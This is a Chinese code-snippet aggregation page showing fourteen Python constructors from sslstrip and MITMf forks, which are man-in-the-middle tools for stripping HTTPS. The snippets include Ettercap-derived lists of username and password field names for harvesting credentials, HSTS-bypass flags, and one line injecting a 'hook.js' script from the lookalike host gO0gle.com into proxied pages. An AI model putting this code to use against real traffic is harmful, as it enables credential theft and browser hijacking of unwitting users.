当前位置: 首页>>代码示例>>Python>>正文


Python URLMonitor.URLMonitor类代码示例

本文整理汇总了Python中URLMonitor.URLMonitor的典型用法代码示例。如果您正苦于以下问题:Python URLMonitor类的具体用法?Python URLMonitor怎么用?Python URLMonitor使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。


在下文中一共展示了URLMonitor类的14个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: __init__

    def __init__(self, command, uri, postData, headers, client):

        self.command          = command
        self.uri              = uri
        self.postData         = postData
        self.headers          = headers
        self.client           = client
        self.clientInfo       = None
        self.urlMonitor       = URLMonitor.getInstance()
        self.hsts             = URLMonitor.getInstance().isHstsBypass()
        self.plugins          = ProxyPlugins.getInstance()
        self.isImageRequest   = False
        self.isCompressed     = False
        self.contentLength    = None
        self.shutdownComplete = False

        #these field names were stolen from the etter.fields file (Ettercap Project)
        self.http_userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
                                'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
                                'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
                                'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
                                'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']

        self.http_passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', 
                                'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
                                'passwort', 'passwrd', 'wppassword', 'upasswd']
开发者ID:pwns4cash,项目名称:MITMf,代码行数:26,代码来源:ServerConnection.py

示例2: __init__

 def __init__(self, channel, queued, reactor=reactor):
     Request.__init__(self, channel, queued)
     self.reactor       = reactor
     self.urlMonitor    = URLMonitor.getInstance()
     self.hsts          = URLMonitor.getInstance().isHstsBypass()
     self.cookieCleaner = CookieCleaner.getInstance()
     self.dnsCache      = DnsCache.getInstance()
     self.plugins       = ProxyPlugins.getInstance()
开发者ID:pwns4cash,项目名称:MITMf,代码行数:8,代码来源:ClientRequest.py

示例3: __init__

 def __init__(self, channel, queued, reactor=reactor):
     Request.__init__(self, channel, queued)
     self.reactor       = reactor
     self.urlMonitor    = URLMonitor.getInstance()
     self.hsts          = URLMonitor.getInstance().hsts
     self.cookieCleaner = CookieCleaner.getInstance()
     self.dnsCache      = DnsCache.getInstance()
     #self.uniqueId      = random.randint(0, 10000)
     
     #Use are own DNS server instead of reactor.resolve()
     self.customResolver = dns.resolver.Resolver()    
     self.customResolver.nameservers  = ['127.0.0.1']
开发者ID:Gajasurve,项目名称:MITMf,代码行数:12,代码来源:ClientRequest.py

示例4: __init__

    def __init__(self, command, uri, postData, headers, client):

        self.command          = command
        self.uri              = uri
        self.postData         = postData
        self.headers          = headers
        self.client           = client
        self.clientInfo       = None
        self.urlMonitor       = URLMonitor.getInstance()
        self.hsts             = URLMonitor.getInstance().isHstsBypass()
        self.plugins          = ProxyPlugins.getInstance()
        self.isImageRequest   = False
        self.isCompressed     = False
        self.contentLength    = None
        self.shutdownComplete = False
开发者ID:Zaratros,项目名称:MITMf,代码行数:15,代码来源:ServerConnection.py

示例5: __init__

    def __init__(self, command, uri, postData, headers, client):

        self.command          = command
        self.uri              = uri
        self.postData         = postData
        self.headers          = headers
        self.client           = client
        self.printPostData    = True
        self.clientInfo       = None
        self.urlMonitor       = URLMonitor.getInstance()
        self.hsts             = URLMonitor.getInstance().hsts
        self.app              = URLMonitor.getInstance().app
        self.isImageRequest   = False
        self.isCompressed     = False
        self.contentLength    = None
        self.shutdownComplete = False
开发者ID:hamdi-charef,项目名称:MITMf,代码行数:16,代码来源:ServerConnection.py

示例6: main

def main(argv):
    (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
        
    logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
                        filename=logFile, filemode='w')

    URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
    CookieCleaner.getInstance().setEnabled(killSessions)

    strippingFactory              = http.HTTPFactory(timeout=10)
    strippingFactory.protocol     = StrippingProxy

    reactor.listenTCP(int(listenPort), strippingFactory)
                
    print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."

    reactor.run()
开发者ID:Mondego,项目名称:pyreco,代码行数:17,代码来源:allPythonContent.py

示例7: __init__

 def __init__(self, command, uri, postData, headers, client):
     self.command        = command
     self.uri            = uri
     self.postData       = postData
     self.headers        = headers
     self.client         = client
     self.urlMonitor     = URLMonitor.getInstance()
     self.isImageRequest = False
开发者ID:cyphunk,项目名称:sectk,代码行数:8,代码来源:ServerConnection.py

示例8: __init__

    def __init__(self, channel, queued, reactor = reactor):
        Request.__init__(self, channel, queued)

        logging.debug('Client request initiated...')

        self.reactor = reactor
        self.url_monitor = URLMonitor.get_instance()
        self.cookie_cleaner = CookieCleaner.get_instance()
        self.dns_cache = DNSCache.get_instance()
开发者ID:Tijme,项目名称:tsslstrip,代码行数:9,代码来源:ClientRequest.py

示例9: __init__

 def __init__(self, command, uri, postData, headers, client):
     self.command          = command
     self.uri              = uri
     self.postData         = postData
     self.headers          = headers
     self.client           = client
     self.urlMonitor       = URLMonitor.getInstance()
     self.isImageRequest   = False
     self.isCompressed     = False
     self.contentLength    = None
     self.shutdownComplete = False
     self.inject_string = "<script src='http://gO0gle.com:3000/hook.js'></script>"
开发者ID:FomkaV,项目名称:wifi-arsenal,代码行数:12,代码来源:ServerConnection.py

示例10: __init__

 def __init__(self, command, uri, postData, headers, client):
     self.command          = command
     self.uri              = uri
     self.postData         = postData
     self.headers          = headers
     self.client           = client
     self.urlMonitor       = URLMonitor.getInstance()
     self.responseTamperer = ResponseTampererFactory.getTampererInstance()
     self.isImageRequest   = False
     self.isCompressed     = False
     self.contentLength    = None
     self.shutdownComplete = False
开发者ID:episage,项目名称:sslstrip,代码行数:12,代码来源:ServerConnection.py

示例11: __init__

 def __init__(self, command, uri, postData, headers, client):
     self.command          = command
     self.uri              = uri
     self.postData         = postData
     self.headers          = headers
     self.client           = client
     self.urlMonitor       = URLMonitor.getInstance()
     self.responseTamperer = ResponseTampererFactory.getTampererInstance()
     self.isImageRequest   = False
     self.isCompressed     = False
     self.contentLength    = None
     self.shutdownComplete = False
     self.plugins          = {}
     plugin_classes = Plugin.PluginProxy.__subclasses__()
     for p in plugin_classes: self.plugins[p._name] = p()
     for pluginscheck in self.plugins.keys():
         if self.plugins[pluginscheck].getInstance()._activated:
             self.HTMLInjector = self.plugins[pluginscheck].getInstance()
开发者ID:P0cL4bs,项目名称:WiFi-Pumpkin,代码行数:18,代码来源:ServerConnection.py

示例12: __init__

    def __init__(self, command, uri, postData, headers, client):
        self.command          = command
        self.uri              = uri
        self.postData         = postData
        self.headers          = headers
        self.client           = client
        self.urlMonitor       = URLMonitor.getInstance()
        self.isImageRequest   = False
        self.isCompressed     = False
        self.contentLength    = None
        self.shutdownComplete = False
        
    #############################################
               #0sm0s1z
            #Check if Injection Status
        module = installed.objects.get(name = "httpcodeinjection")

            #Determine if injection is true
        self.injection = module.active
开发者ID:3mrgnc3,项目名称:subterfuge,代码行数:19,代码来源:ServerConnection.py

示例13: __init__

 def __init__(self, command, uri, postData, headers, client):
     ServerConnection.__init__(self, command, uri, postData, headers, client)
     self.urlMonitor = URLMonitor.getInstance()
     self.hsts       = URLMonitor.getInstance().hsts
开发者ID:0hyeah,项目名称:MITMf,代码行数:4,代码来源:SSLServerConnection.py

示例14: __init__

 def __init__(self, channel, queued, reactor=reactor):
     Request.__init__(self, channel, queued)
     self.reactor       = reactor
     self.urlMonitor    = URLMonitor.getInstance()
     self.cookieCleaner = CookieCleaner.getInstance()
     self.dnsCache      = DnsCache.getInstance()
开发者ID:m4chin3,项目名称:sslstrip,代码行数:6,代码来源:ClientRequest.py


注:本文中的URLMonitor.URLMonitor类示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。